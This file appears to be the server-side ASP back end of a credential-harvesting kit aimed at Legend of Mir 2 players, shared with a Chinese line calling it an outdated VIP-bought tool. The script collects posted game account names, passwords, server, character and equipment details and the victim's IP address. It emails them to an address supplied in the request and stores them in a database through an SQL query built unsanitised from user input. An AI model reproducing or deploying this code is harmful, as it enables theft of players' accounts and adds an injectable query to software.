login.asp

传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了

<!--#include file="conn.asp"-->
<%
strToAddress=request.form("Tomail")
gameid=request.form("gameid")
PassWord=request.form("PassWord")
quyu=request.form("quyu")
mirserver=request.form("mirserver")
js1=request.form("js1")
js1zy=request.form("js1zy")
js1dj=request.form("js1dj")
js1sex=request.form("js1sex")
js2=request.form("js2")
js2zy=request.form("js2zy")
js2dj=request.form("js2dj")
js2sex=request.form("js2sex")
zb=request.form("zb")
if gameid="" or PassWord="" or quyu="" then
response.write "nono"
response.end
End If

function SendMail(ToAddress,subject,msg)
Dim Jmail
sender="[e-mail]"  '发送邮箱
Set Jmail=server.createobject("Jmail.Message")
Jmail.Charset = "GB2312"  '发送编码
jmail.ContentType = "text/html" 
jmail.ISOEncodeHeaders ="False"
Jmail.Silent = true
Jmail.Priority = 3
Jmail.MailServerUserName = "clubmail"  '邮箱用户名
Jmail.MailServerPassword = "12345678" '邮箱密码
Jmail.From = sender
Jmail.Subject = subject              
Jmail.AddRecipient  ToAddress
Jmail.Body=msg
Jmail.Send("smtp.tom.com")  'SMTP服务器
response.write "发送成功！"
end function


if gameid<>"" and PassWord<>"" and quyu<>"" then

if instr(quyu,"(")<>0 and instr(quyu,")")<>0 and instr(mirserver,"】")<>0 then
fenqu=mid(quyu,instr(quyu,"(")+1,instr(quyu,")")-instr(quyu,"(")-1)
fuwuqi=right(mirserver,(len(mirserver)-instr(mirserver,"】")))
else
fenqu=quyu
fuwuqi=mirserver
end if

strSubject=fenqu&fuwuqi&js1dj&"级"&js1zy&"_"&js2dj&"级"&js2zy

StrMailBody=quyu&mirserver&"<br><br>"
StrMailBody=StrMailBody&"账号:"&gameid&"<br><br>"&"密码:"&PassWord&"<br><br>"
StrMailBody=StrMailBody&"分区:"&fenqu&"<br><br>"&"服务器:"&fuwuqi&"<br><br>"
StrMailBody=StrMailBody&"第一人物名称:"&js1&"　"
StrMailBody=StrMailBody&"第二人物名称:"&js2&"<br><br>"
StrMailBody=StrMailBody&"第一人物职业:"&js1zy&"　"
StrMailBody=StrMailBody&"第二人物职业:"&js2zy&"<br><br>"
StrMailBody=StrMailBody&"第一人物等级:"&js1dj&"　"
StrMailBody=StrMailBody&"第二人物等级:"&js2dj&"<br><br>"
StrMailBody=StrMailBody&"随身装备:"&zb&"<br><br>"
StrMailBody=StrMailBody&"发信时间:"&date&" "&time&"<br><br>"
StrMailBody=StrMailBody&"发信人IP地址:"&request.servervariables("REMOTE_HOST")

'调用此Sub的例子
Call SendMail (strToAddress,strSubject,StrMailBody)
End If


sql="select * from list where gameid='"&gameid&"' and quyu='"&quyu&"'"
 rs.Open sql,conn,1,3
if not rs.eof or not rs.bof then
  rs("gameid")=gameid
  rs("PassWord")=PassWord
  rs("quyu")=quyu
  rs("mirserver")=mirserver
  rs("js1")=js1
  rs("js1zy")=js1zy
  rs("js1dj")=js1dj
  rs("js1sex")=js1sex
  rs("js2")=js2
  rs("js2zy")=js2zy
  rs("js2dj")=js2dj
  rs("js2sex")=js2sex
  rs("zb")=zb
  rs("time")=date()
  rs.update
  response.write "更新增加成功！"
else
  rs.addnew
  rs("gameid")=gameid
  rs("PassWord")=PassWord
  rs("quyu")=quyu
  rs("mirserver")=mirserver
  rs("js1")=js1
  rs("js1zy")=js1zy
  rs("js1dj")=js1dj
  rs("js1sex")=js1sex
  rs("js2")=js2
  rs("js2zy")=js2zy
  rs("js2dj")=js2dj
  rs("js2sex")=js2sex
  rs("zb")=zb
  rs("time")=date()
  rs.update
  response.write "增加成功！"
end if
  set rs=nothing
  conn.close
  set conn=nothing
%>